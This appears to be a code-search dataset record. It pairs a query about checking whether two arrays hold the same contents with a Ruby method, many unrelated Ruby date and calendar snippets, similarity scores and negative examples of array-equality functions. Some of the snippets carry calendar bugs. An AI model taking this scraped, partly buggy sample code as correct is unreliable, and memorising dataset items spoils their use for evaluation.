"def day_of_year\n count = @t_day\n @@days_in_months.each_index do |key|\n break if key >= @t_month\n val = @@days_in_months[key]\n \n if key == 2 and Datet.gregorian_leap?(@t_year)\n count += 29\n else\n count += val.to_i\n end\n end\n \n return count\n end",
"def count_sundays_in_twentieth_century()\r\n\tstart_date = Date.new(1901, 1, 1)\r\n\tend_date = Date.new(2000, 12, 31)\r\n\r\n\tselector = (start_date..end_date).select{ |check| check.sunday? && check.day == 1 }\r\n\treturn selector.size\r\nend",
"def fridays_in_year(year)\n current_week = 1\n current_day = 5\n current_date = DateTime.commercial(year, current_week, current_day)\n fridays_per_month = Array.new(12,0)\n while current_date.year == year\n fridays_per_month[current_date.month - 1] += 1\n current_date += 7\n end\n fridays_per_month\nend",
"def days_in_year(year)\n ::Montrose::Utils.days_in_month(2, year) + 337\n end",
"def days_in_lunar_date(y)\n sum = 348\n i = 0x8000\n while i > 0x8\n if ((@@lunar_info[y - 1900] & i) != 0)\n sum += 1\n end\n i >>= 1\n end\n\n sum + leap_days(y)\n end",
"def days_in_year(year = current.year)\n days_in_month(2, year) + 337\n end",
"def days_in_year(year)\n Time.days_in_month(2, year) + 337\n end",
"def weeks_in_year\n return (self-(self.yday-1)).wday == 6 && self.leap? ? 54 : 53\n end",
"def unlucky_days(year)\r\n (1..12).count { |month| Time.new(year, month, 13).friday? }\r\n end",
"def five_fridays(year)\n fridays = Hash.new(0)\n friday = Date.new(year)\n loop do\n break if friday.friday?\n\n friday += 1\n end\n\n while friday.year == year\n fridays[friday.month] += 1\n\n friday += 7\n end\n fridays.values.select { |month| month == 5 }.size\nend",
"def friday_13th(year)\n date = Date.new(year)\n unlucky_days = 0\n 365.times do\n date = date + 1\n if date.friday? == true && date.mday == 13\n unlucky_days += 1\n end\n end\n unlucky_days\nend",
"def count_sundays(first, last)\r\n (first..last).select { |n| n.sunday? && n.mday == 1 }.size\r\nend",
"def test_01d_number_of_days_in_a_weird_leap_year\n cal = IndividualMonth.new(2100, 2)\n assert_equal(28, cal.number_days_in_a_month)\n end",
"def dayOfWeek\n days = 0;\n tempYear = MIN_YEAR\n while tempYear < @year\n days += SimpleDate.daysInYear(tempYear).to_i\n tempYear+=1\n end\n\n days = days + ordinalDate\n #puts \"days #{days}\"\n days = days % 7\n\n end",
"def daysInYear\n if leapYear?\n return 366\n else\n return 365\n end\n end",
"def five_fridays(year)\n date = Date.new(year)\n month = 1\n\n month_count = 0\n friday_count = 1\n\n date = date.next_day until date.friday?\n\n while date.year == year\n 7.times { date = date.next_day }\n if date.month == month\n friday_count += 1\n else\n month_count += 1 if friday_count == 5\n friday_count = 1\n month += 1\n end\n end\n month_count\nend",
"def friday_13th(year)\n# Input integer (year)\n# Output integer (count of friday 13ths)\n# create a date obj on jan 13, year\n# step through months, iterate a counter when month 13th is friday\n# return count\n\n count = 0\n month = 1\n date = Date.new(year, month, 13)\n \n loop do\n count += 1 if Date.new(year, month, 13).friday?\n month += 1\n break if month > 12\n end\n\n count\nend",
"def friday_13th(year)\n month = 1\n count = 0\n loop do\n count += 1 if Date.new(year, month, 13).friday?\n break if month == 12\n month += 1\n end\n count\nend",
"def test_01c_number_of_days_in_a_weird_leap_year\n cal = IndividualMonth.new(2000, 2)\n assert_equal(29, cal.number_days_in_a_month)\n end",
"def friday_13th(year)\n thirteenth = Date.new(year, 1, 13)\n count = 0\n 12.times do |month|\n count += 1 if thirteenth.friday?\n thirteenth = thirteenth.next_month\n end\n count\nend",
"def five_fridays(year)\n num_days = {\n 1=>31, 2=>28, 3=>31, 4=>30, 5=>31, 6=>30,\n 7=>31, 8=>31, 9=>30, 10=>31, 11=>30, 12=>31\n }\n\n five_fridays = 0\n num_days[2] = 29 if Date.new(year).leap?\n\n 1.upto(12) do |month|\n num_fridays = 0\n 1.upto(num_days[month]) do |day|\n date = Date.new(year, month, day)\n num_fridays += 1 if date.friday?\n end\n five_fridays += 1 if num_fridays >= 5\n end\n\n five_fridays\nend",
"def friday_13th(year)\n count_of_friday_13th = 0\n 1.upto(12) do |month|\n t = Time.local(year, month, 13)\n count_of_friday_13th += 1 if t.friday?\n end\n count_of_friday_13th\nend",
"def friday_13th(year)\n days = %w(Sunday Monday Tuesday Wednesday Thursday Friday Saturday)\n days_in_month = {'January' => 31, 'February' => 28, 'March' => 31, 'April' => 30, \n 'May' => 31, 'June' => 30, 'July' => 31, 'August' => 31, \n 'September' => 30, 'October' => 31, 'November' => 30, 'December' => 31}\n years = (1753...year).to_a\n total_days = years.map do |year|\n if leap_year?(year)\n 366\n else\n 365\n end\n end\n day = total_days.reduce(:+) % 7\n\n jan_1st_of_year = day + 1\n\n days_in_month['February'] = 29 if leap_year?(year)\n first_of_month = [jan_1st_of_year]\n\n carry_over = jan_1st_of_year\n\n days_in_month.each do |month, days|\n next if month == 'December'\n first_of_month << (days + first_of_month[-1]) % 7\n end\n first_of_month.map! do |day|\n days[day]\n end\n number_of_friday_13ths = first_of_month.select do |day|\n day == 'Sunday'\n end\n number_of_friday_13ths.count\nend",
"def friday_13th(year)\n\n first_of_month = Date.new(year.to_i, 1, 1)\n\n # If January starts on Sunday, the year will have 3 Friday 13ths\n return 3 if first_of_month.sunday?\n\n bad_fridays = 0\n \n 11.times do \n first_of_month = first_of_month.next_month\n bad_fridays += 1 if first_of_month.sunday?\n end\n bad_fridays\nend",
"def solve( start = Date.new( 1901, 1, 1 ), stop = Date.new( 2000, 12, 31 ) )\n total = 0\n \n # Move to the first Sunday in the range, if not there already.\n start += (7 - start.wday) if !start.sunday?\n\n # Move forward a week at a time, counting the first-of-months we see.\n while start <= stop\n total += 1 if 1 == start.day\n start += 7\n end\n\n total\n end",
"def leap_days(y)\n if (leap_month(y) != 0)\n if ((@@lunar_info[y - 1900] & 0x10000) != 0)\n return 30\n else\n return 29\n end\n else\n return 0\n end\n end",
"def friday_13th(year)\n count = 0\n 1.upto(12) do |month|\n count += 1 if Time.new(year, month, 13).friday?\n end\n count\nend",
"def count_wdays_on_first_of_months(start_date, end_date, day_of_week)\n days_count = 0\n \n if start_date.mday > 1\n start_date = (start_date >> 1) - start_date.mday + 1 # move to the 1st day of next month\n end\n \n while start_date < end_date\n days_count += 1 if start_date.wday == day_of_week\n start_date = start_date >> 1\n end\n \n days_count \nend",
"def count_of_days_in(month)\n 28 + (month + (month / 8)) % 2 + 2 % month + 2 * (1 / month)\nend",
"def friday_13th(year)\n require \"Date\"\n num_of_fri_13ths = 0\n months = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n months.each {|month| num_of_fri_13ths += 1 if Date.new(year, month, 13).friday?}\n num_of_fri_13ths\nend",
"def is_sunday?(days_since_1900)\n # Monday was 1st, so Sunday is when 7 divides evenly into number of days\n # since the known Monday\n (days_since_1900 % 7 == 0)\nend",
"def sundays_first_of_month(start_date,end_date)\n start_date_normalized=normalize(start_date)\n end_date_normalized=normalize(end_date)\n\n count=0\n \n (start_date_normalized[1]..12).each do |month|\n if Time.new(start_date_normalized[0],month,start_date_normalized[2]).strftime('%A')=='Sunday'\n count += 1\n end\n end\n\n while Time.new(start_date_normalized[0],start_date_normalized[1],start_date_normalized[2])<Time.new(end_date_normalized[0],end_date_normalized[1],end_date_normalized[2])\n (1..12).each do |month|\n if Time.new(start_date_normalized[0],month,start_date_normalized[2]).strftime('%A')=='Sunday'\n count += 1\n end\n end\n start_date_normalized[2]+=1\n end\n count\nend",
"def day_number_of_the_year day, month, hash \n if month > 1\n for i in 1...month\n day += hash[i]\n end\n end\n day\nend",
"def day_of_year\n (seconds_since_start_of_year / D_SECS).to_i + 1\n end",
"def five_friday(year)\n month_count = 0\n 1.upto(12) do |month|\n fridays = Date.new(year, month, 1).step(Date.new(year, month, -1)).select { |day| day.friday? }.size\n month_count += 1 if fridays == 5\n end\n month_count\nend",
"def get_num_feb_days_cur_yr(yr)\n\tif (0 == yr.to_i.modulo($leap_num_yr))\n\t\treturn $num_days_29feb\n\telse\n\t\treturn $num_days_28feb\n\tend\nend",
"def friday_13th?(year)\n fridays = 0\n 1.upto(12) do |month|\n fridays += 1 if Time.new(year, month, 13).friday?\n end\n fridays\nend",
"def test_01b_number_of_days_in_a_normal_nonleap_year \n cal = IndividualMonth.new(2013, 2)\n assert_equal(28, cal.number_days_in_a_month)\n end",
"def friday_13th(yr)\n total = 0\n 1.upto(12) { |mon| total += 1 if Time.new(yr, mon, 13).friday? }\n total\nend",
"def day_of_programmer(year)\n\n days = 215 # total number of days for 7 months (jan - aug except feb).\n # Feb days will be vary. 256th day of the year comes in september\n if year <= 1917 # according to Julian calender\n if (year % 4) == 0\n feb_days = 29\n else\n feb_days = 28\n end\n elsif year == 1918\n feb_days = 15\n else # according to Gregorian\n if (year % 400 == 0) || ((year % 4 == 0) && (year % 100 != 0))\n feb_days = 29\n else\n feb_days = 28\n end\n end\n\n total_days = 256 - (feb_days + days) # 8 months days\n print \"#{total_days}.09.#{year}\"\n\nend",
"def dt(date)\n start_date, end_date = *roll_period_for_date(date)\n start_date = start_date + 1 # the start date of the roll period is at the close of the tuesday prior to the settlement date, so we add 1 to bump up the start date to the wednesday settlement date\n business_days_in_roll_period = date_series_inclusive(start_date, end_date).select {|date| cboe_business_day?(date, false) }\n business_days_in_roll_period.count.to_f\nend",
"def count_leap_years(current, future)\n common = 0\n leap = 0\n while current <= future do\n if current % 4 != 0\n common += 1\n elsif current % 100 == 0 and current % 400 != 0\n common += 1\n else\n leap += 1\n end\n current += 1\n end\n leap\n end",
"def nwrug_meet_for year, month\n beginning_of_month = Date.civil(year, month, 1)\n nwrug = beginning_of_month + (18 - beginning_of_month.wday)\n nwrug += 7 if beginning_of_month.wday > 4\n\n # Make sure we skip to the next month if we've gone past this month's meet\n if nwrug < Date.today\n if month == 12\n month = 1\n year += 1\n else\n month += 1\n end\n nwrug = nwrug_meet_for year, month\n end\n\n nwrug\nend",
"def friday_13th(year)\n (1..12).count { |month| Date.new(year, month, 13).friday? }\nend",
"def leap_year?(n)\n if n%4==0 && n%100!=0\n return true\n elsif n%400==0\n return true\n else\n return false\n end\nend",
"def minutes_in_decade(start_year = 1900)\n days = 0\n start_year.step.take(10).each do |year|\n days += 365\n days += 1 if year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)\n end\n days * 24 * 60 * 60\nend",
"def friday_13th_2(yr)\n 1.upto(12).count { |mon| Time.new(yr, mon, 13).friday? }\nend",
"def days_in_year\n 365.25\nend",
"def real_study_years\n if finished?\n end_date = finished_on.to_time\n elsif absolved?\n end_date = disert_theme.defense_passed_on.to_time\n else\n end_date = Time.now\n end\n return (end_date - enrolled_on.to_time).div(1.year) + 1\n end",
"def calc_days_in_month month, year\n months_with_30 = [4, 6, 9, 11]\n months_with_31 = [1, 3, 5, 7, 8, 10, 12]\n if months_with_30.include? month\n 30\n elsif months_with_31.include? month\n 31\n elsif (year % 4 == 0) && !(year % 100 == 0) || (year % 400 == 0)\n 29\n else\n 28\n end\n end",
"def your_birthday_is_on_a_friday_in_the_year(birthday)\n while birthday.friday? == false\n birthday += (60 * 60 * 24 * 365)\n end\n birthday.year\n # rspec was after a year, but the question was asking for a day\n # not the clearest of questions. Should state \"someones\" bday, not\n # the users\nend",
"def leapyear(n)\n start = (n % 100 != 0 && n % 4 == 0) || (n % 100 == 0 && n % 400 == 0) ? n : n + (4 - (n % 4))\n (0...100).step(4).each do |e|\n year = start + e\n if year % 100 != 0\n puts year\n elsif year % 400 == 0\n puts year\n end\n end\nend",
"def compute_actual_days_worked(year, start_date, end_date)\n working_days_in_year = Float(52*5)\n\n if Date.new(year, 1, 1) < start_date\n start_date_to_consider = start_date\n else\n start_date_to_consider = Date.new(year, 1, 1)\n end\n\n if Date.new(year, 1, 1).end_of_year < end_date\n end_date_to_consider = Date.new(year, 1, 1).end_of_year\n else\n end_date_to_consider = end_date\n end\n\n # we have to add one to include last day of work. We multiply by working_days_in_year/365 to remove weekends.\n ((end_date_to_consider - start_date_to_consider + 1).to_i * (working_days_in_year/365)).to_i #actual days worked in 'year'\n end",
"def leap_year?(year)\n divisible?(year, 400) || divisible?(year, 4) && !divisible?(year, 100)\nend",
"def days_in_month\n raw = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][self.month]\n self.month == 2 && leap_year? ? raw + 1 : raw\n end",
"def test_16a_zellers_congruence\n cal = IndividualMonth.new(2012, 2)\n assert_equal(4, cal.number_days_in_1st_week)\n end",
"def nth_wday; (day - 1) / 7 end",
"def day_in_year\n day = self.day\n \n 1.upto(self.month - 1) do |month_no|\n day += Datet.days_in_month(self.year, month_no)\n end\n \n return day\n end",
"def leap_year_1752?(year)\n if year % 100 == 0 && year % 400 == 0\n true\n elsif year % 4 == 0 && !(year % 100 == 0)\n true\n else\n false\n end\nend",
"def get_days(year,month)\r\n # the number of days within a month is determined by the year\r\n case month\r\n when \"January\", \"March\", \"May\", \"July\", \"August\", \"October\", \"December\"\r\n days = 31\r\n when \"April\", \"June\", \"September\", \"November\"\r\n days = 30\r\n else\r\n if year.to_i % 400 == 0 # feb has 28 days when a year divisible by 400\r\n days = 28\r\n elsif year.to_i % 4 == 0\r\n days = 29\r\n else\r\n days = 28\r\n end\r\n end # end statement for case month when ...\r\n return days\r\n end",
"def days_since_epoch\n self.day_of_year + (307 * year)\n end",
"def get_normalized_day dd\n date = Date.strptime(dd)\n if date.year == YEAR_ZERO\n return date.yday - DAY_ZERO\n elsif date.year > YEAR_ZERO\n # TODO - This is broken...\n return (((date.year - 1) - YEAR_ZERO) * ((Date.leap? date.year) ? 366 : 365)) + (365 - DAY_ZERO) + date.yday\n end\n raise Exception.new \"Something is wrong with the year for this entry\"\n end",
"def has_sunday_with_date_7(month, year)\n calender = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n day_count = 0\n\n calender.each do |num|\n (1..num).each do |i|\n if i == 7 && day_count = 7\n return true\n end\n if day_count <= 7\n day_count += 1\n else\n day_count = 7\n end\n end\n end\nend",
"def advent_days(year:)\n min_day .. max_day(year: year)\n end",
"def new_years_day_for(year)\n nyd = Date.new(year,1,1)\n if nyd.saturday?\n Date.new(year,1,3)\n elsif nyd.sunday?\n Date.new(year,1,2)\n else\n nyd\n end\n end",
"def happy_birth_day\n\tdays = []\n\tmonths = []\n\tyears = []\n\t31.times do |d|\n\t\tdays << d\n\t\tdays.delete(0)\n\tend\n\t12.times do |m|\n\t\tmonths << m\n\t\tmonths.delete(0)\n\tend\n\t2019.times do |y|\n\t\tyears << y\n\t\tyears.delete(0)\n\tend\n\tif months.sample == 2\n\t\tdays.delete(31)\n\t\tdays.delete(30)\n\t\tdays.delete(29)\n\t\treturn \"#{months.sample}/#{days.sample}/#{years.sample}\"\n\telsif months.sample == 2 && years.sample % 100 == 0 && years.sample % 400 == 0\n\t\tdays.delete(31)\n\t\tdays.delete(30)\n\t\treturn \"#{months.sample}/#{days.sample}/#{years.sample}\"\n\telsif months.sample == 2 && years.sample % 4 == 0 && years.sample % 100 != 0\n\t\tdays.delete(31)\n\t\tdays.delete(30)\n\t\treturn \"#{months.sample}/#{days.sample}/#{years.sample}\"\n\telsif months.sample == 4 || months.sample == 6 || months.sample == 9 || months.sample == 11\n\t\tdays.delete(31)\n\t\treturn \"#{months.sample}/#{days.sample}/#{years.sample}\"\n\telse\n\t\treturn \"#{months.sample}/#{days.sample}/#{years.sample}\"\n\tend\nend",
"def calculate_number_of_years(year, month, day)\n\tminutes = Time.new - Time.mktime(year, month, day)\n\tyears = ((minutes/525600)/60).to_i\nend",
"def leap_day?(input) = day_of_year(input) > 365",
"def sundays(arr, value)\n count = 0\n arr.each { |n|\n count += 1 if (n + value) % 7 == 0\n }\n return count\nend",
"def your_birthday_is_on_a_friday_in_the_year(birthday)\n # Key: tells you the YEAR where birthday will be on a Fri\n # each year = moves up 2 days\n loop {\n if birthday.friday? == true\n return birthday.year\n end\n # key -> don't need to account for day of week change in addition, only 1 year onwards - the .friday? will work out what day of the week it is\n birthday = birthday + (365*24*60*60) }\nend",
"def leap_year?(year)\n if divisible?(year, 400)\n true\n elsif divisible?(year, 100)\n false\n else\n divisible?(year, 4)\n end\nend",
"def get_day(year)\n next_month = month + 1\n if next_month == 13\n year += 1\n next_month = 1\n end\n\n candidate = new_time_or_datetime(year, next_month).add_with_convert(-86400)\n diff = candidate.wday - day_of_week\n\n if diff < 0\n candidate - (diff + 7) * 86400\n elsif diff > 0\n candidate - diff * 86400\n else\n candidate\n end\n end",
"def unusual_day_4(num)\n if one_30_last(num)\n calendar_date(num, 1)\n elsif one_30_not_last(num) || two_30_one_31_last(num)\n calendar_date(num, 2)\n elsif two_30_one_31_not_last(num) || two_30_two_31\n calendar_date(num, 3)\n end\nend",
"def account_for_leap_year(date)\n if leap_year_date?(dob) and !leap_year_date?(date) \n date += 1\n end\n date\n end",
"def leap_year?(x)\n if x.to_i % 4 == 0\n if x.to_i % 100 == 0\n if x.to_i % 400 == 0\n return true\n else\n return false\n end\n else\n return true\n end\n else\n return false\n end\nend",
"def leap_year?(x)\n if x % 4 === 0 or x % 100 == 0\n if x % 100 === 0 && x % 400 != 0\n false\n else\n true\n end\n else\n false\n end\nend",
"def start_date_of_roll_period(year, month)\n # todo, to be truly accurate with respect to the description, this should figure out the date of the Tuesday prior to the settlement date, but I think subtracting one day is the real intention.\n vix_futures_settlement_date(year, month) - 1\n # prior_cboe_business_day(vix_futures_settlement_date(year, month))\nend",
"def days_in_year\n return Datet.days_in_year(@t_year)\n end",
"def what_century(year)\n year % 100 == 0 ? year / 100 : year / 100 + 1\nend",
"def to_rd\n normal_days = 365 * (@year - 1)\n leap_days = (((@year - 1) / 4).floor -\n ((@year - 1) / 100).floor +\n ((@year - 1) / 400).floor)\n # The following formula assumes that February has 30 days.\n previous_days = ((367 * @month - 362) / 12).floor\n # Correction for the previous formula.\n correction = nil\n # We are before February, no correction needed.\n if @month <= 2\n correction = 0\n # Leap year => February has 29 days - 30 = -1.\n elsif leap?\n correction = -1\n # Normal year => February has 28 days - 30 = -2.\n else\n correction = -2\n end\n return (EPOCH - 1 + normal_days + leap_days + previous_days +\n correction + @day)\n end",
"def thirty_days_month\n return @month == 4 || @month == 6 || @month == 9 || @month == 11\n end",
"def xday_countdown(yday, year)\n return unless $KILL_BOB\n r = (185 - yday) + (((yday < 59) && (leapp(year))) ? 1 : 0)\n while year < 9827\n # TODO : need to test if year var addition is correct\n year += 1\n r += (leapp(year) ? 366 : 365)\n end\n while year > 9827\n r-= (leapp(year) ? 366 : 365)\n year -= 1\n end\n return r\n end",
"def leap_year?(num)\n if num%4 == 0 && num%100 !=0\n true\n elsif num%400 == 0\n true\n elsif num%4 == 0 && num%100 == 0 && num%400 != 0\n false\n elsif num%4 != 0\n false\n end\nend",
"def friday_13th(year)\n fridays = 0\n month = 1\n t = Time.new(year, month, 13)\n\n loop do \n fridays +=1 if t.friday?\n month += 1\n month == 13 ? break : t = Time.new(year, month, 13)\n end\n\n fridays\nend",
"def jul_leap_year? year\n if year < 1752\n return year % 4 == 0 ? true : false\n else\n return year % 4 == 0 && year % 100 != 0 || year % 400 == 0 ? true : false\n end\nend",
"def leap_year?(year)\n if year <= 1752\n year % 4 == 0\n else\n (year % 4 == 0 && year % 100 != 0) || year % 400 == 0\n end\nend",
"def getFirstSundays(d1,d2)\n d1 += 1 while (d1.mday != 1) unless d1.mday == 1\n firstSundays = []\n while d1 < d2\n d1 = d1 >> 1 # add a month\n firstSundays .push d1 if d1.wday == 0\n end\n firstSundays\nend",
"def day_of_week(year, month, day)\n d = day\n m = (month - 3) % 12 + 1\n yy = month < 3 ? year-1 : year\n y = yy % 100\n c = yy / 100\n (d + (2.6 * m - 0.2).floor + y + (y/4.0).floor + (c/4.0).floor - 2*c) % 7\nend",
"def is_always_first_day_of_year?\n seconds == 86400\n end",
"def days_until_xmas(date)\n return 0\nend",
"def your_birthday_is_on_a_friday_in_the_year(birthday)\n month = birthday.strftime(\"%m\").to_i\n day = birthday.strftime(\"%d\").to_i\n year = birthday.strftime(\"%Y\").to_i\n loop do\n year = year += 1\n time = Time.new(year, month, day)\n break if time.strftime(\"%u\") == \"5\"\n end\n year\nend",
"def length\n is_leap?[adjust_set_month]\n end",
"def leap_year?(year)\r\n if year < 1752 && year % 4 == 0\r\n true\r\n elsif year % 400 == 0\r\n true\r\n elsif year % 100 == 0\r\n false\r\n else\r\n year % 4 == 0\r\n end\r\nend",
"def get_day(year)\n # Returns 1 March on non-leap years.\n leap = new_time_or_datetime(year, 2, 29)\n diff = seconds - LEAP\n diff += 86400 if diff >= 0 && leap.mday == 29\n leap.add_with_convert(diff)\n end"
] | [
"0.7489364",
"0.72933215",
"0.7270485",
"0.72318393",
"0.7160231",
"0.7018686",
"0.70099545",
"0.6989564",
"0.6955054",
"0.6954173",
"0.69245076",
"0.68479466",
"0.68394285",
"0.68319017",
"0.67667097",
"0.67360306",
"0.66971827",
"0.6672687",
"0.66698015",
"0.6659785",
"0.6639751",
"0.6612606",
"0.6612335",
"0.66086954",
"0.6605091",
"0.6603774",
"0.6597492",
"0.6561691",
"0.65416753",
"0.6531033",
"0.65227526",
"0.6516645",
"0.6503472",
"0.6450964",
"0.64210075",
"0.6404665",
"0.6399819",
"0.6390384",
"0.6368207",
"0.63520586",
"0.63486695",
"0.6347822",
"0.62829256",
"0.62462866",
"0.62423587",
"0.6234938",
"0.6234368",
"0.6233546",
"0.6232235",
"0.62310696",
"0.6202678",
"0.616886",
"0.61416525",
"0.612981",
"0.61248344",
"0.6124339",
"0.6122385",
"0.61200136",
"0.61069876",
"0.60881066",
"0.6087413",
"0.60867834",
"0.60801125",
"0.60745794",
"0.6069137",
"0.60626173",
"0.6036658",
"0.600882",
"0.6003199",
"0.5990743",
"0.59892553",
"0.59855187",
"0.59831536",
"0.5978485",
"0.5976631",
"0.5976447",
"0.5975929",
"0.5971735",
"0.59711677",
"0.5957927",
"0.5945136",
"0.59440917",
"0.5941006",
"0.5936085",
"0.59270257",
"0.5924668",
"0.5921396",
"0.5920595",
"0.5916513",
"0.5911097",
"0.5910629",
"0.59083515",
"0.5903422",
"0.5895497",
"0.5894629",
"0.58911437",
"0.5889099",
"0.5883776",
"0.5865101",
"0.58646595",
"0.5863749"
] | 0.0 | -1 |
check if two arrays contain the same contents | def same_set?(a, b)
((a - b) + (b - a)).blank?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def arrays_equivalent(array1, array2)\n return true if array1 == array2\n return false unless array1 && array2 # either one is nil\n\n array1.count == array2.count && (array1 - array2).empty? && (array2 - array1).empty?\n end",
"def array_equals(array1, array2)\n #raise NotImplementedError\n#Check for the nil class first because array methods will not work\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n end\n\n#Check for empty arrays\n if array1[0]==nil && array2[0]==nil\n return true\n elsif (array1[0] == nil) || (array2[0] == nil)\n return false\n end\n\n#Now we know that at least both arrays have elements we can determine their length\n#and look at each element to see if each index is the same.\n len1 = array1.length\n len2 = array2.length\n\n if len2 != len1\n return false\n end\n\n\n len1.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n end\n\n #assuming one of these arrays has data\n #if one of them is nil, then the other has data which causes different lengths\n #thus should fail\n if array1 == nil || array2 == nil\n return false\n end\n\n #at this point here, assuming both arrays have data\n if array1.length != array2.length\n return false\n end\n i = 0\n while i < array1.length\n if array1[i] != array2[i]\n return false\n end\n i += 1\n end\n return true\nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil \n return true \n elsif array1 == nil || array2 == nil \n return false\n else\n if array1.length == array2.length #if neither are nil, check their length\n array1.zip(array2).each do |x, y| #if the length is the same, iterate thru both arrays\n if x != y \n return false\n end\n end\n return true\n else \n return false\n end\n end\nend",
"def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil\n return false\n elsif array1 != nil && array2 == nil\n return false\n elsif array1 == [] && array2 == []\n return true\n end\n\n array1_length = 0\n array1.each do |element|\n array1_length = array1_length + 1\n end\n\n array2_length = 0\n array2.each do |element|\n array2_length = array2_length + 1\n end\n\n if array1_length == array2_length\n index1 = 0\n array1_length.times do\n if (array1[index1] == array2[index1])\n index1 = index1 + 1\n else\n return false\n end\n end\n return true\n else\n return false\n end\nend",
"def array_equals(array1, array2)\n # raise NotImplementedError\n if !(array1.nil?) && !(array2.nil?)\n difference_count = 0\n if array1.length == array2.length\n array1.length.times do |i|\n difference_count += 1 if array1[i] != array2[i]\n end\n if difference_count != 0 \n return false\n end\n else\n return false\n end\n elsif array1.nil? && !(array2.nil?)\n return false\n elsif array2.nil? && !(array1.nil?)\n return false\n end\n\n return true\nend",
"def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil && array2 != nil\n return false\n end\n\n if array2 == nil && array1 != nil\n return false\n end\n\n if array1.length == 0 && array2.length == 0\n return true\n end\n\n if array1.length == 0 && array2.length != 0\n return false\n end\n\n if array2.length == 0 && array1.length != 0\n return false\n end\n\n idx = 0\n array1.length.times do\n if array1[idx] == array2[idx]\n idx +=1\n end\n end\n\n if idx == (array1.length) && idx == array2.length\n return true\n else\n return false\n end\nend",
"def array_equals(array1, array2)\n # raise NotImplementedError\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? || array2.nil? || array1.length != array2.length \n return false \n else\n index = 0\n while index < array1.length\n return false if array1[index] != array2[index] \n index += 1\n end \n end\n return true\nend",
"def array_equals(array1, array2) \n # list of 2 arrays \n # array1 = [10, 20, 30, 40, 50, 60] # 6 > return true otherwise false\n # array2 = [10, 20, 30, 40, 50, 60] # 6\n\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n # if the two arrays are of different length\n if array1.length != array2.length\n return false\n end\n\n # take each element in ar1 and in ar2\n array1.each_with_index do | ar1_el, index |\n ar2_el = array2[index]\n\n # if ar1_el is not the same as ar2_el\n if ar1_el != ar2_el\n return false\n end \n end\n # otherwise return true because they all are similar\n return true\nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length == array2_length\n array1_length.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\n end\n return false\n \n raise NotImplementedError\n\nend",
"def array_equals(array1, array2)\n # edge cases\n if (array1 == nil) || (array2 == nil)\n return (array1 == nil) && (array2 == nil)\n end\n if (array1 == []) && (array2 == [])\n return true\n end\n # count both and save to vars to compare\n array1_length = 0\n i1 = 0\n while array1[i1] != nil\n i1 += 1\n array1_length += 1\n end\n array2_length = 0\n i2 = 0\n while array2[i2] != nil\n i2 += 1\n array2_length += 1\n end\n if array1_length != array2_length\n return false\n end\n # loop through each index for both and compare\n i = 0\n array1_length.times do\n if array1[i] == array2[i]\n i += 1\n elsif array1[i] != array2[i]\n return false\n end\n end\n return true\nend",
"def array_equals(array1, array2)\n return true if array1 == nil && array2 == nil\n return false if !array1 or !array2\n return true if array1 == [] && array2 == []\n return false if array1.length != array2.length\n\n array1.length.times do |index|\n return array1[index] != array2[index] ? false : true\n end\nend",
"def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n elsif array1.length == array2.length\n index = 0\n array1.length.times do\n if array1[index] != array2[index]\n return false\n end\n index += 1\n end\n return true\n else\n return false\n end\nend",
"def array_equals(array1, array2)\n # false if \n # different length\n # different element value\n # different order\n if (array1 == nil && array2 == nil )|| (array1 == [] && array2 == [])\n return true\n end\n\n if (array1 == [] || array2 == []) || (array1 == nil || array2 == nil)|| (array1.length != array2.length )\n return false \n end \n\n n = 0\n array1.each do |element|\n if element != array2[n]\n return false\n end\n n += 1\n end\n\n return true\n\nend",
"def array_equals(array1, array2)\n # checks edgecases first, return values will stop method due to short-circuit \n \n if array1 == nil && array2 == nil\n return true\n end\n \n if array1 == [] && array2 == []\n return true\n end\n \n if array1 == nil && array2 != nil\n return false\n end\n \n if array2 == nil && array1 != nil \n return false\n end\n \n if array1.length != array2.length\n return false\n end\n \n # checks index-by-index for equivalency\n piecewise = true\n array1.each.with_index do |value, index|\n if array1[index] != array2[index]\n piecewise = false\n end\n end\n return piecewise\nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n elsif array1.length != array2.length\n return false\n elsif array1.length == array2.length\n element_count = 0\n array1.length.times do |x|\n if array1[x] == array2[x]\n element_count += 1\n else\n return false\n end\n end\n end\n\n if array1.length == element_count\n return true\n end\nend",
"def array_equals(array1, array2)\n \n return true if (array1.nil? && array2.nil?) # if both cases are nil\n return false if (array1.nil? || array2.nil?) # if one case is nil\n return false if array1.length != array2.length\n\n array1.length.times do |index|\n return false if array1[index] != array2[index]\n end\n\n return true\nend",
"def array_equals(array1, array2)\n answer = true\n if array1 == nil && array2 == nil\n return answer\n elsif array1 == nil && array2 != nil || \\\n array2 == nil && array1 != nil || \\\n array1.length != array2.length\n\n answer = false\n else\n array1.each_with_index do |elem, index|\n if answer == false\n return answer\n else\n elem == array2[index] ? answer = true : answer = false\n end\n end\n end\n return answer\nend",
"def array_equals(arr1, arr2)\n if (arr1 == [] && arr2 == [] || arr1 == nil && arr2 == nil)\n return true\n elsif arr1 == nil || arr2 == nil || arr1.length != arr2.length\n return false \n else\n arr1.length.times do |num|\n if arr1[num] != arr2[num]\n return false\n end\n end\n return true\n end\nend",
